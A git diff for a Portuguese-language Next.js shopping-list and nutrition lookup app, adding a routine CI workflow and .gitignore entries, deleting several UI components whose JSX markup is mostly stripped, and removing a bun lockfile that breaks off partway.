diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
new file mode 100644
index 0000000..522e88b
--- /dev/null
+++ b/.github/workflows/ci.yml
@@ -0,0 +1,29 @@
+name: CI
+
+on:
+ push:
+ branches: [main]
+ pull_request:
+
+permissions:
+ contents: read
+
+jobs:
+ check:
+ runs-on: ubuntu-latest
+ env:
+ DATABASE_URL: file:./prisma/db/database.sqlite
+ steps:
+ - uses: actions/checkout@v4
+ - uses: pnpm/action-setup@v4
+ with:
+ version: 10
+ - uses: actions/setup-node@v4
+ with:
+ node-version: 22
+ cache: pnpm
+ - run: pnpm install --frozen-lockfile
+ - run: pnpm lint
+ - run: pnpm typecheck
+ - run: pnpm test
+ - run: pnpm build
diff --git a/.gitignore b/.gitignore
index bc49f55..c7f3f49 100644
--- a/.gitignore
+++ b/.gitignore
@@ -171,4 +171,8 @@ dist
.pnp.*
.env*
-!.env.example
\ No newline at end of file
+!.env.example
+# Banco SQLite local (criado por `pnpm db:push`) e saída de ferramentas
+*.sqlite
+*.sqlite-journal
+graphify-out/
diff --git a/app/components/DeleteButton.tsx b/app/components/DeleteButton.tsx
deleted file mode 100644
index 14d5d93..0000000
--- a/app/components/DeleteButton.tsx
+++ /dev/null
@@ -1,70 +0,0 @@
-'use client'
-import { Button } from "@/components/ui/button";
-import {
- AlertDialog,
- AlertDialogAction,
- AlertDialogCancel,
- AlertDialogContent,
- AlertDialogDescription,
- AlertDialogFooter,
- AlertDialogHeader,
- AlertDialogTitle,
- AlertDialogTrigger,
-} from "@/components/ui/alert-dialog";
-import { deletarProduto } from "../actions";
-import { useState } from "react";
-import { Trash2 } from "lucide-react";
-import { useRouter } from "next/navigation";
-
-interface DeleteButtonProps {
- produtoId: number;
- produtoNome: string;
- listaId: string;
-}
-
-export function DeleteButton({ produtoId, produtoNome, listaId }: DeleteButtonProps) {
- const [isDeleting, setIsDeleting] = useState(false);
- const router = useRouter();
-
- async function handleDelete() {
- try {
- setIsDeleting(true);
- await deletarProduto(produtoId, listaId);
- router.refresh();
- } finally {
- setIsDeleting(false);
- }
- }
-
- return (
-
-
-
-
-
-
- Confirmar exclusão
-
- Tem certeza que deseja excluir o produto "{produtoNome}"?
- Esta ação não pode ser desfeita.
-
-
-
- Cancelar
-
- {isDeleting ? 'Excluindo...' : 'Excluir'}
-
-
-
-
- );
-}
\ No newline at end of file
diff --git a/app/components/FilterSidebar.tsx b/app/components/FilterSidebar.tsx
index 2d8a513..7177af4 100644
--- a/app/components/FilterSidebar.tsx
+++ b/app/components/FilterSidebar.tsx
@@ -16,7 +16,6 @@ import {
BarChart3,
} from "lucide-react";
import * as LucideIcons from "lucide-react";
-import { Button } from "@/components/ui/button";
import { Input } from "@/components/ui/input";
import { Checkbox } from "@/components/ui/checkbox";
import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group";
@@ -29,7 +28,6 @@ import {
AccordionTrigger,
} from "@/components/ui/accordion";
import { Badge } from "@/components/ui/badge";
-import { Separator } from "@/components/ui/separator";
import { SortDropdown } from "@/app/components/SortDropdown";
import { FilterBadges } from "@/app/components/FilterBadge";
import {
diff --git a/app/components/IdInput.tsx b/app/components/IdInput.tsx
deleted file mode 100644
index c4e496a..0000000
--- a/app/components/IdInput.tsx
+++ /dev/null
@@ -1,93 +0,0 @@
-'use client'
-import { useState } from 'react'
-import { useRouter } from 'next/navigation'
-import { Input } from "@/components/ui/input"
-import { Button } from "@/components/ui/button"
-import { verificarLista } from '../actions'
-
-export function IdInput() {
- const [id, setId] = useState('')
- const [error, setError] = useState('')
- const [loading, setLoading] = useState(false)
- const router = useRouter()
-
- const handleSubmit = async (e: React.FormEvent) => {
- e.preventDefault()
- setLoading(true)
- setError('')
-
- if (!id.trim()) {
- setError('Digite um ID válido')
- setLoading(false)
- return
- }
-
- try {
- const result = await verificarLista(id.trim(), true) // Forçar criação se não existir
- if (result.success) {
- localStorage.setItem('listaId', id.trim())
- router.push(`/lista/${id.trim()}`)
- } else {
- setError('Erro ao acessar/criar lista')
- }
- } catch {
- setError('Erro ao processar solicitação')
- } finally {
- setLoading(false)
- }
- }
-
- return (
-
-
-
-
- Acesse sua lista
-
-
- Digite um ID para acessar ou criar uma nova lista
-
-
-
-
-
- )
-}
\ No newline at end of file
diff --git a/app/components/Main.tsx b/app/components/Main.tsx
index c9f52b6..0847e2d 100644
--- a/app/components/Main.tsx
+++ b/app/components/Main.tsx
@@ -9,7 +9,6 @@ import {
SelectTrigger,
SelectValue,
} from "@/components/ui/select";
-import { Button } from "@/components/ui/button";
import { criarItens } from "../actions";
import { useTransition, useState } from 'react';
import { useRouter } from "next/navigation";
diff --git a/app/components/NutriScoreBadge.tsx b/app/components/NutriScoreBadge.tsx
deleted file mode 100644
index 20f32bc..0000000
--- a/app/components/NutriScoreBadge.tsx
+++ /dev/null
@@ -1,122 +0,0 @@
-"use client";
-import { useState } from "react";
-import { cn } from "@/lib/utils";
-
-interface NutriScoreBadgeProps {
- grade: string;
- className?: string;
- size?: "sm" | "md" | "lg";
- showTooltip?: boolean;
-}
-
-const GRADE_INFO: Record = {
- a: { desc: "Muito bom", explanation: "Excelente qualidade nutricional" },
- b: { desc: "Bom", explanation: "Boa qualidade nutricional" },
- c: { desc: "Regular", explanation: "Qualidade nutricional moderada" },
- d: { desc: "Ruim", explanation: "Qualidade nutricional baixa" },
- e: { desc: "Muito ruim", explanation: "Qualidade nutricional muito baixa" },
-};
-
-const GRADE_CLASS: Record = {
- a: "grade-a", b: "grade-b", c: "grade-c", d: "grade-d", e: "grade-e",
-};
-
-const SIZE_CLASS = {
- sm: "w-8 h-8 text-sm",
- md: "w-14 h-14 text-xl",
- lg: "w-20 h-20 text-2xl",
-};
-
-export function NutriScoreBadge({
- grade,
- className,
- size = "md",
- showTooltip = true,
-}: NutriScoreBadgeProps) {
- const [hover, setHover] = useState(false);
- const key = grade?.toLowerCase();
- const info = GRADE_INFO[key];
- if (!info) return null;
-
- return (
-
-
setHover(true)}
- onMouseLeave={() => setHover(false)}
- >
- {key.toUpperCase()}
-
-
- {showTooltip && hover && (
-
-
-
Nutri-Score {key.toUpperCase()}
-
{info.desc}
-
{info.explanation}
-
-
-
- )}
-
- );
-}
-
-/* ── NOVA Badge ───────────────────────────────────────────────────────────── */
-interface NovaBadgeProps {
- group: number;
- className?: string;
- size?: "sm" | "md" | "lg";
- showTooltip?: boolean;
-}
-
-const NOVA_INFO: Record = {
- 1: { desc: "Não processado", explanation: "Alimentos não ou minimamente processados", bg: "#1a7a4a", fg: "#fff" },
- 2: { desc: "Ingrediente", explanation: "Ingredientes culinários processados", bg: "#e8c110", fg: "#1e1810" },
- 3: { desc: "Processado", explanation: "Alimentos processados", bg: "#e07820", fg: "#fff" },
- 4: { desc: "Ultraprocessado",explanation: "Alimentos ultraprocessados", bg: "#c0201a", fg: "#fff" },
-};
-
-export function NovaBadge({
- group,
- className,
- size = "md",
- showTooltip = true,
-}: NovaBadgeProps) {
- const [hover, setHover] = useState(false);
- const info = NOVA_INFO[group];
- if (!info) return null;
-
- return (
-
-
setHover(true)}
- onMouseLeave={() => setHover(false)}
- >
- {group}
-
-
- {showTooltip && hover && (
-
-
-
NOVA {group}
-
{info.desc}
-
{info.explanation}
-
-
-
- )}
-
- );
-}
diff --git a/app/components/NutritionBar.tsx b/app/components/NutritionBar.tsx
deleted file mode 100644
index 6f83fd9..0000000
--- a/app/components/NutritionBar.tsx
+++ /dev/null
@@ -1,133 +0,0 @@
-"use client";
-import { cn } from "@/lib/utils";
-
-interface NutritionBarProps {
- label: string;
- value: string;
- unit?: string;
- percentage?: number;
- isHigh?: boolean;
- isLow?: boolean;
- recommended?: string;
- className?: string;
-}
-
-export function NutritionBar({
- label,
- value,
- unit = "",
- percentage = 0,
- isHigh = false,
- isLow = false,
- className,
-}: NutritionBarProps) {
- const barWidth = Math.min(Math.max(percentage, 2), 100);
-
- const barColor = isHigh
- ? "bg-[var(--score-e)]"
- : isLow
- ? "bg-[var(--score-a)]"
- : percentage > 75
- ? "bg-[var(--score-d)]"
- : percentage > 50
- ? "bg-[var(--score-c)]"
- : "bg-[var(--accent)]";
-
- const valueColor = isHigh
- ? "text-[var(--score-e)]"
- : isLow
- ? "text-[var(--score-a)]"
- : "text-[var(--fg-primary)]";
-
- return (
-
-
- {label}
-
- {value} {unit}
-
-
- {/* Hairline track */}
-
-
- );
-}
-
-interface NutritionGridProps {
- nutritionData: {
- energy?: string;
- fat?: string;
- carbohydrates?: string;
- proteins?: string;
- sugars?: string;
- fiber?: string;
- sodium?: string;
- };
- className?: string;
-}
-
-const REFERENCE = {
- energy: 2000, fat: 65, carbohydrates: 300,
- proteins: 50, sugars: 50, fiber: 25, sodium: 2.3,
-};
-
-function extractNumber(val?: string): number {
- if (!val) return 0;
- const m = val.match(/(\d+(?:\.\d+)?)/);
- return m ? parseFloat(m[1]) : 0;
-}
-
-function pct(val: string | undefined, ref: number): number {
- return (extractNumber(val) / ref) * 100;
-}
-
-export function NutritionGrid({ nutritionData, className }: NutritionGridProps) {
- const items = [
- { label: "Energia", value: nutritionData.energy, unit: "kcal", ref: REFERENCE.energy },
- { label: "Gorduras", value: nutritionData.fat, unit: "g", ref: REFERENCE.fat },
- { label: "Carboidratos", value: nutritionData.carbohydrates, unit: "g", ref: REFERENCE.carbohydrates },
- { label: "Proteínas", value: nutritionData.proteins, unit: "g", ref: REFERENCE.proteins },
- { label: "Açúcares", value: nutritionData.sugars, unit: "g", ref: REFERENCE.sugars },
- { label: "Fibras", value: nutritionData.fiber, unit: "g", ref: REFERENCE.fiber },
- { label: "Sódio", value: nutritionData.sodium, unit: "g", ref: REFERENCE.sodium },
- ];
-
- return (
-
- {items.map((item) => {
- const p = pct(item.value, item.ref);
- return (
-
80}
- isLow={p < 20 && p > 0}
- />
- );
- })}
-
- {/* Legend */}
-
- {[
- { color: "bg-[var(--score-a)]", label: "Baixo" },
- { color: "bg-[var(--accent)]", label: "Moderado" },
- { color: "bg-[var(--score-e)]", label: "Alto" },
- ].map(({ color, label }) => (
-
- ))}
-
% do VDR
-
-
- );
-}
diff --git a/app/components/NutritionChart.tsx b/app/components/NutritionChart.tsx
deleted file mode 100644
index 178432f..0000000
--- a/app/components/NutritionChart.tsx
+++ /dev/null
@@ -1,299 +0,0 @@
-"use client";
-
-import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
-import { Badge } from "@/components/ui/badge";
-
-interface NutritionData {
- energy?: number;
- fat?: number;
- carbohydrates?: number;
- proteins?: number;
- sugars?: number;
- fiber?: number;
- sodium?: number;
-}
-
-interface NutritionChartProps {
- data: NutritionData;
- className?: string;
-}
-
-export function NutritionChart({ data, className = "" }: NutritionChartProps) {
- const nutritionItems = [
- {
- key: "energy",
- label: "Energia",
- value: data.energy,
- unit: "kcal",
- color: "bg-orange-500",
- maxValue: 500,
- },
- {
- key: "fat",
- label: "Gorduras",
- value: data.fat,
- unit: "g",
- color: "bg-red-500",
- maxValue: 30,
- },
- {
- key: "carbohydrates",
- label: "Carboidratos",
- value: data.carbohydrates,
- unit: "g",
- color: "bg-blue-500",
- maxValue: 60,
- },
- {
- key: "proteins",
- label: "Proteínas",
- value: data.proteins,
- unit: "g",
- color: "bg-green-500",
- maxValue: 25,
- },
- {
- key: "sugars",
- label: "Açúcares",
- value: data.sugars,
- unit: "g",
- color: "bg-pink-500",
- maxValue: 25,
- },
- {
- key: "fiber",
- label: "Fibras",
- value: data.fiber,
- unit: "g",
- color: "bg-purple-500",
- maxValue: 10,
- },
- {
- key: "sodium",
- label: "Sódio",
- value: data.sodium,
- unit: "mg",
- color: "bg-yellow-500",
- maxValue: 2,
- },
- ];
-
- const getBarWidth = (value: number, maxValue: number) => {
- const percentage = Math.min((value / maxValue) * 100, 100);
- return `${percentage}%`;
- };
-
- const getBarColor = (value: number, maxValue: number, color: string) => {
- const percentage = (value / maxValue) * 100;
- if (percentage > 80) return "bg-red-500";
- if (percentage > 60) return "bg-orange-500";
- if (percentage > 40) return "bg-yellow-500";
- return color;
- };
-
- return (
-
-
-
- Informação Nutricional
-
-
-
- {nutritionItems.map((item) => {
- if (item.value === undefined || item.value === null) {
- return (
-
-
- {item.label}
-
-
- N/A
-
-
- );
- }
-
- const barWidth = getBarWidth(item.value, item.maxValue);
- const barColor = getBarColor(item.value, item.maxValue, item.color);
-
- return (
-
-
-
{item.label}
-
-
- {item.value.toFixed(1)}
- {item.unit}
-
- 0.8
- ? "border-red-200 text-red-700"
- : item.value / item.maxValue > 0.6
- ? "border-orange-200 text-orange-700"
- : "border-green-200 text-green-700"
- }`}
- >
- {((item.value / item.maxValue) * 100).toFixed(0)}%
-
-
-
-
-
-
-
- 0{item.unit}
-
- {item.maxValue}
- {item.unit}
-
-
-
- );
- })}
-
-
- );
-}
-
-interface NutritionSummaryProps {
- data: NutritionData;
- className?: string;
-}
-
-export function NutritionSummary({
- data,
- className = "",
-}: NutritionSummaryProps) {
- const getNutritionScore = () => {
- if (!data.energy || !data.fat || !data.sugars || !data.sodium) {
- return null;
- }
-
- // Cálculo simplificado do Nutri-Score
- let score = 0;
-
- // Pontos negativos
- if (data.energy > 335) score += 1;
- if (data.energy > 670) score += 2;
- if (data.energy > 1005) score += 3;
- if (data.energy > 1340) score += 4;
- if (data.energy > 1675) score += 5;
- if (data.energy > 2010) score += 6;
- if (data.energy > 2345) score += 7;
- if (data.energy > 2680) score += 8;
- if (data.energy > 3015) score += 9;
- if (data.energy > 3350) score += 10;
-
- if (data.sugars > 4.5) score += 1;
- if (data.sugars > 9) score += 2;
- if (data.sugars > 13.5) score += 3;
- if (data.sugars > 18) score += 4;
- if (data.sugars > 22.5) score += 5;
- if (data.sugars > 27) score += 6;
- if (data.sugars > 31) score += 7;
- if (data.sugars > 36) score += 8;
- if (data.sugars > 40) score += 9;
- if (data.sugars > 45) score += 10;
-
- if (data.fat > 1) score += 1;
- if (data.fat > 2) score += 2;
- if (data.fat > 3) score += 3;
- if (data.fat > 4) score += 4;
- if (data.fat > 5) score += 5;
- if (data.fat > 6) score += 6;
- if (data.fat > 7) score += 7;
- if (data.fat > 8) score += 8;
- if (data.fat > 9) score += 9;
- if (data.fat > 10) score += 10;
-
- if (data.sodium > 0.3) score += 1;
- if (data.sodium > 0.6) score += 2;
- if (data.sodium > 0.9) score += 3;
- if (data.sodium > 1.2) score += 4;
- if (data.sodium > 1.5) score += 5;
- if (data.sodium > 1.8) score += 6;
- if (data.sodium > 2.1) score += 7;
- if (data.sodium > 2.4) score += 8;
- if (data.sodium > 2.7) score += 9;
- if (data.sodium > 3) score += 10;
-
- // Pontos positivos
- if (data.fiber && data.fiber > 0.9) score -= 1;
- if (data.fiber && data.fiber > 1.9) score -= 2;
- if (data.fiber && data.fiber > 2.8) score -= 3;
- if (data.fiber && data.fiber > 3.7) score -= 4;
- if (data.fiber && data.fiber > 4.7) score -= 5;
-
- if (data.proteins && data.proteins > 1.6) score -= 1;
- if (data.proteins && data.proteins > 3.2) score -= 2;
- if (data.proteins && data.proteins > 4.8) score -= 3;
- if (data.proteins && data.proteins > 6.4) score -= 4;
- if (data.proteins && data.proteins > 8) score -= 5;
-
- // Converter para letra
- if (score <= -1) return "A";
- if (score <= 2) return "B";
- if (score <= 10) return "C";
- if (score <= 18) return "D";
- return "E";
- };
-
- const nutritionScore = getNutritionScore();
-
- return (
-
-
- Nutri-Score Estimado
- {nutritionScore && (
-
- {nutritionScore}
-
- )}
-
-
-
-
- Energia:
-
- {data.energy?.toFixed(0) || "N/A"} kcal
-
-
-
- Gorduras:
- {data.fat?.toFixed(1) || "N/A"}g
-
-
- Carboidratos:
-
- {data.carbohydrates?.toFixed(1) || "N/A"}g
-
-
-
- Proteínas:
-
- {data.proteins?.toFixed(1) || "N/A"}g
-
-
-
-
- );
-}
diff --git a/app/components/PageTitle.tsx b/app/components/PageTitle.tsx
deleted file mode 100644
index 770711e..0000000
--- a/app/components/PageTitle.tsx
+++ /dev/null
@@ -1,32 +0,0 @@
-'use client'
-
-import { motion } from 'framer-motion'
-export function PageTitle() {
-
-
- return (
-
-
-
-
- Resenha Itapoá
-
-
-
-
-
- Gerencie suas listas de compras de forma simples e eficiente
-
-
- )
-}
\ No newline at end of file
diff --git a/app/components/card.tsx b/app/components/card.tsx
deleted file mode 100644
index c3c72b1..0000000
--- a/app/components/card.tsx
+++ /dev/null
@@ -1,30 +0,0 @@
-interface CardProps {
- produto: {
- id: number;
- nome: string;
- qtd: number;
- tipoUN: string;
- comprado: boolean;
- listaId: string;
- createdAt: Date;
- updatedAt: Date;
- }
-}
-
-export function Card({ produto }: CardProps) {
- return (
-
-
-
{produto.nome}
-
-
- Quantidade: {produto.qtd}
-
-
- Tipo: {produto.tipoUN}
-
-
-
-
- );
-}
\ No newline at end of file
diff --git a/app/components/items.tsx b/app/components/items.tsx
deleted file mode 100644
index f46ba77..0000000
--- a/app/components/items.tsx
+++ /dev/null
@@ -1,6 +0,0 @@
-import prisma from "@/lib/prisma";
-
-export async function Items() {
- const produtos = await prisma.produtos.findMany({});
- console.log(produtos);
-}
diff --git a/app/components/landing/PersuasiveCTA.tsx b/app/components/landing/PersuasiveCTA.tsx
deleted file mode 100644
index 1b89866..0000000
--- a/app/components/landing/PersuasiveCTA.tsx
+++ /dev/null
@@ -1,147 +0,0 @@
-"use client";
-
-import { useState } from "react";
-import { useRouter } from "next/navigation";
-import { Search, ScanLine, Activity } from "lucide-react";
-import { useSearchLogic } from "@/hooks/use-search-logic";
-import { cn } from "@/lib/utils";
-
-export function PersuasiveCTA() {
- const router = useRouter();
- const [query, setQuery] = useState("");
- const { searchType, isValid, loading, setLoading } = useSearchLogic(query);
-
- const handleSearch = async (e: React.FormEvent) => {
- e.preventDefault();
- if (!query.trim()) return;
- setLoading(true);
- const target =
- searchType === "barcode" && isValid
- ? `/produto/${query.trim()}`
- : `/resultados?q=${encodeURIComponent(query.trim())}`;
- router.push(target);
- };
-
- const icon =
- searchType === "barcode" ? (
-
- ) : searchType === "name" ? (
-
- ) : (
-
- );
-
- const label =
- searchType === "barcode"
- ? "Código de barras detectado"
- : searchType === "name"
- ? "Pesquisa por nome"
- : "Detecção automática";
-
- return (
-
-
-
- {/* ── Section header ───────────────────────────────────────────── */}
-
-
- Comece Agora
-
-
-
-
- Pronto para descobrir a{" "}
-
- verdade sobre seus alimentos?
-
-
-
- Sem cadastro, sem anúncios, sem venda de dados. Resultados
- nutricionais completos em segundos.
-
-
-
-
- {/* ── Search form ──────────────────────────────────────────────── */}
-
-
- {/* ── Trust indicators ─────────────────────────────────────────── */}
-
- {["Sem cadastro necessário", "Resultados instantâneos", "100% gratuito e open source"].map(
- (item) => (
-
-
- {item}
-
- )
- )}
-
-
-
- );
-}
-
-function ArrowRight() {
- return (
-
- );
-}
diff --git a/app/components/landing/SearchBar.tsx b/app/components/landing/SearchBar.tsx
deleted file mode 100644
index 417ca2b..0000000
--- a/app/components/landing/SearchBar.tsx
+++ /dev/null
@@ -1,164 +0,0 @@
-"use client";
-import { useState } from "react";
-import { useRouter } from "next/navigation";
-import { Search, ScanLine, AlertCircle } from "lucide-react";
-import { Button } from "@/components/ui/button";
-import { Input } from "@/components/ui/input";
-
-interface SearchBarProps {
- variant?: "hero" | "compact" | "floating";
- placeholder?: string;
- className?: string;
-}
-
-export function SearchBar({
- variant = "hero",
- placeholder = "Digite o código de barras (ex: 7896004713588)",
- className = "",
-}: SearchBarProps) {
- const [barcode, setBarcode] = useState("");
- const [error, setError] = useState("");
- const [loading, setLoading] = useState(false);
- const router = useRouter();
-
- const validateBarcode = (code: string) => {
- const cleanCode = code.replace(/\D/g, "");
- return cleanCode.length >= 8 && cleanCode.length <= 13;
- };
-
- const handleSearch = async (e: React.FormEvent) => {
- e.preventDefault();
- setError("");
-
- if (!barcode.trim()) {
- setError("Digite um código de barras válido");
- return;
- }
-
- if (!validateBarcode(barcode)) {
- setError("Código de barras deve ter entre 8 e 13 dígitos");
- return;
- }
-
- setLoading(true);
-
- // Simula busca (futuramente será integração com API)
- setTimeout(() => {
- router.push(`/produto/${barcode.trim()}`);
- }, 1000);
- };
-
- const getVariantStyles = () => {
- switch (variant) {
- case "compact":
- return {
- container: "max-w-md mx-auto",
- input: "text-base py-3",
- button: "px-6 py-3",
- };
- case "floating":
- return {
- container:
- "fixed bottom-6 left-1/2 transform -translate-x-1/2 z-50 max-w-sm w-full mx-4",
- input: "text-sm py-3",
- button: "px-4 py-3",
- };
- default: // hero
- return {
- container: "max-w-2xl mx-auto",
- input: "text-lg py-4",
- button: "px-8 py-4",
- };
- }
- };
-
- const styles = getVariantStyles();
-
- if (variant === "floating") {
- return (
-
- );
- }
-
- return (
-
- );
-}
diff --git a/bun.lock b/bun.lock
deleted file mode 100644
index bc12d9c..0000000
--- a/bun.lock
+++ /dev/null
@@ -1,2505 +0,0 @@
-{
- "lockfileVersion": 1,
- "configVersion": 0,
- "workspaces": {
- "": {
- "name": "resenhaitapoa2",
- "dependencies": {
- "@prisma/client": "^6.19.3",
- "@radix-ui/react-accordion": "^1.2.12",
- "@radix-ui/react-alert-dialog": "^1.1.15",
- "@radix-ui/react-checkbox": "^1.3.3",
- "@radix-ui/react-dialog": "^1.1.15",
- "@radix-ui/react-dropdown-menu": "^2.1.16",
- "@radix-ui/react-label": "^2.1.8",
- "@radix-ui/react-radio-group": "^1.3.8",
- "@radix-ui/react-select": "^2.2.6",
- "@radix-ui/react-separator": "^1.1.8",
- "@radix-ui/react-slider": "^1.3.6",
- "@radix-ui/react-slot": "^1.2.4",
- "@radix-ui/react-switch": "^1.2.6",
- "class-variance-authority": "^0.7.1",
- "clsx": "^2.1.1",
- "framer-motion": "^11.18.2",
- "lucide-react": "^0.460.0",
- "next": "^15.5.10",
- "next-themes": "^0.4.6",
- "react": "^19.0.0",
- "react-dom": "^19.0.0",
- "tailwind-merge": "^2.6.1",
- "tailwindcss-animate": "^1.0.7",
- },
- "devDependencies": {
- "@types/node": "^20.19.39",
- "@types/react": "^19.0.0",
- "@types/react-dom": "^19.0.0",
- "depcheck": "^1.4.7",
- "eslint": "^8.57.1",
- "eslint-config-next": "^15.5.10",
- "postcss": "^8.5.10",
- "prisma": "^6.19.3",
- "tailwindcss": "^3.4.19",
- "typescript": "^5.9.3",
- },
- },
- },
- "overrides": {
- "brace-expansion": ">=2.0.2",
- "flatted": ">=3.4.0",
- "glob": ">=10.5.0",
- "minimatch": ">=3.1.3",
- "nanoid": ">=3.3.8",
- "picomatch": ">=2.3.2",
- },
- "packages": {
- "@alloc/quick-lru": ["@alloc/quick-lru@5.2.0", "", {}, "sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw=="],
-
- "@babel/code-frame": ["@babel/code-frame@7.29.0", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.28.5", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw=="],
-
- "@babel/generator": ["@babel/generator@7.29.1", "", { "dependencies": { "@babel/parser": "^7.29.0", "@babel/types": "^7.29.0", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-qsaF+9Qcm2Qv8SRIMMscAvG4O3lJ0F1GuMo5HR/Bp02LopNgnZBC/EkbevHFeGs4ls/oPz9v+Bsmzbkbe+0dUw=="],
-
- "@babel/helper-globals": ["@babel/helper-globals@7.28.0", "", {}, "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw=="],
-
- "@babel/helper-string-parser": ["@babel/helper-string-parser@7.27.1", "", {}, "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA=="],
-
- "@babel/helper-validator-identifier": ["@babel/helper-validator-identifier@7.28.5", "", {}, "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q=="],
-
- "@babel/parser": ["@babel/parser@7.29.2", "", { "dependencies": { "@babel/types": "^7.29.0" }, "bin": "./bin/babel-parser.js" }, "sha512-4GgRzy/+fsBa72/RZVJmGKPmZu9Byn8o4MoLpmNe1m8ZfYnz5emHLQz3U4gLud6Zwl0RZIcgiLD7Uq7ySFuDLA=="],
-
- "@babel/template": ["@babel/template@7.28.6", "", { "dependencies": { "@babel/code-frame": "^7.28.6", "@babel/parser": "^7.28.6", "@babel/types": "^7.28.6" } }, "sha512-YA6Ma2KsCdGb+WC6UpBVFJGXL58MDA6oyONbjyF/+5sBgxY/dwkhLogbMT2GXXyU84/IhRw/2D1Os1B/giz+BQ=="],
-
- "@babel/traverse": ["@babel/traverse@7.29.0", "", { "dependencies": { "@babel/code-frame": "^7.29.0", "@babel/generator": "^7.29.0", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.29.0", "@babel/template": "^7.28.6", "@babel/types": "^7.29.0", "debug": "^4.3.1" } }, "sha512-4HPiQr0X7+waHfyXPZpWPfWL/J7dcN1mx9gL6WdQVMbPnF3+ZhSMs8tCxN7oHddJE9fhNE7+lxdnlyemKfJRuA=="],
-
- "@babel/types": ["@babel/types@7.29.0", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A=="],
-
- "@emnapi/runtime": ["@emnapi/runtime@1.10.0", "", { "dependencies": { "tslib": "^2.4.0" } }, "sha512-ewvYlk86xUoGI0zQRNq/mC+16R1QeDlKQy21Ki3oSYXNgLb45GV1P6A0M+/s6nyCuNDqe5VpaY84BzXGwVbwFA=="],
-
- "@eslint-community/eslint-utils": ["@eslint-community/eslint-utils@4.9.1", "", { "dependencies": { "eslint-visitor-keys": "^3.4.3" }, "peerDependencies": { "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0" } }, "sha512-phrYmNiYppR7znFEdqgfWHXR6NCkZEK7hwWDHZUjit/2/U0r6XvkDl0SYnoM51Hq7FhCGdLDT6zxCCOY1hexsQ=="],
-
- "@eslint-community/regexpp": ["@eslint-community/regexpp@4.12.2", "", {}, "sha512-EriSTlt5OC9/7SXkRSCAhfSxxoSUgBm33OH+IkwbdpgoqsSsUg7y3uh+IICI/Qg4BBWr3U2i39RpmycbxMq4ew=="],
-
- "@eslint/eslintrc": ["@eslint/eslintrc@2.1.4", "", { "dependencies": { "ajv": "^6.12.4", "debug": "^4.3.2", "espree": "^9.6.0", "globals": "^13.19.0", "ignore": "^5.2.0", "import-fresh": "^3.2.1", "js-yaml": "^4.1.0", "minimatch": "^3.1.2", "strip-json-comments": "^3.1.1" } }, "sha512-269Z39MS6wVJtsoUl10L60WdkhJVdPG24Q4eZTH3nnF6lpvSShEK3wQjDX9JRWAUPvPh7COouPpU9IrqaZFvtQ=="],
-
- "@eslint/js": ["@eslint/js@8.57.1", "", {}, "sha512-d9zaMRSTIKDLhctzH12MtXvJKSSUhaHcjV+2Z+GK+EEY7XKpP5yR4x+N3TAcHTcu963nIr+TMcCb4DBCYX1z6Q=="],
-
- "@floating-ui/core": ["@floating-ui/core@1.6.8", "", { "dependencies": { "@floating-ui/utils": "^0.2.8" } }, "sha512-7XJ9cPU+yI2QeLS+FCSlqNFZJq8arvswefkZrYI1yQBbftw6FyrZOxYSh+9S7z7TpeWlRt9zJ5IhM1WIL334jA=="],
-
- "@floating-ui/dom": ["@floating-ui/dom@1.6.12", "", { "dependencies": { "@floating-ui/core": "^1.6.0", "@floating-ui/utils": "^0.2.8" } }, "sha512-NP83c0HjokcGVEMeoStg317VD9W7eDlGK7457dMBANbKA6GJZdc7rjujdgqzTaz93jkGgc5P/jeWbaCHnMNc+w=="],
-
- "@floating-ui/react-dom": ["@floating-ui/react-dom@2.1.2", "", { "dependencies": { "@floating-ui/dom": "^1.0.0" }, "peerDependencies": { "react": ">=16.8.0", "react-dom": ">=16.8.0" } }, "sha512-06okr5cgPzMNBy+Ycse2A6udMi4bqwW/zgBF/rwjcNqWkyr82Mcg8b0vjX8OJpZFy/FKjJmw6wV7t44kK6kW7A=="],
-
- "@floating-ui/utils": ["@floating-ui/utils@0.2.8", "", {}, "sha512-kym7SodPp8/wloecOpcmSnWJsK7M0E5Wg8UcFA+uO4B9s5d0ywXOEro/8HM9x0rW+TljRzul/14UYz3TleT3ig=="],
-
- "@humanwhocodes/config-array": ["@humanwhocodes/config-array@0.13.0", "", { "dependencies": { "@humanwhocodes/object-schema": "^2.0.3", "debug": "^4.3.1", "minimatch": "^3.0.5" } }, "sha512-DZLEEqFWQFiyK6h5YIeynKx7JlvCYWL0cImfSRXZ9l4Sg2efkFGTuFf6vzXjK1cq6IYkU+Eg/JizXw+TD2vRNw=="],
-
- "@humanwhocodes/module-importer": ["@humanwhocodes/module-importer@1.0.1", "", {}, "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA=="],
-
